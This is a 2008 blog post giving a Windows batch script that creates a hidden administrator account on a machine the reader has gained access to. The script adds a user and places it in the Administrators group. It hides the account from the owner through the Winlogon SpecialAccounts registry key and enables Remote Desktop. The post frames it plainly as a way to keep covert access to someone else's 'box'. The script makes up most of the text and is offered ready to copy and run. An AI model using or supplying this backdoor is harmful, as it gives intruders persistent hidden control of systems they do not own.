Wednesday, September 3, 2008

How to make a Hidden Admin Account using bat Script


This small code that will let you create a admin account and hide it from the super admin. So in case you get a chance to access a box with admin status all you have to do is to copy this code to note pad and make the changes and save it as .bat and run it. and then you have your own admin account which is hidden.

@Echo Off

SET /P usr=[Enter new username here:]

SET /P pwd=[Enter new password here:]

:: SET /P takes the user input and puts it into the variable.

echo — Creating New User, “%usr%” with password “%pwd%” –

net user “%usr%” “%pwd%” /add

echo — Adding User to Group Administrator –

net localgroup Administrators %usr% /add

echo — User Is Now Administrator — >>

echo — Hidding User –

REG ADD HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v %usr% /t REG_DWORD /d 0 /f

echo — Activating Terminal Service –

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t
REG_DWORD /d 0

echo — Activating Terminal Service Done –

SET /P =Press Enter to continue . . .

Exit
Copy this to notepad. save it as install.bat run it. Enter your desired username & password.

No comments:

Post a Comment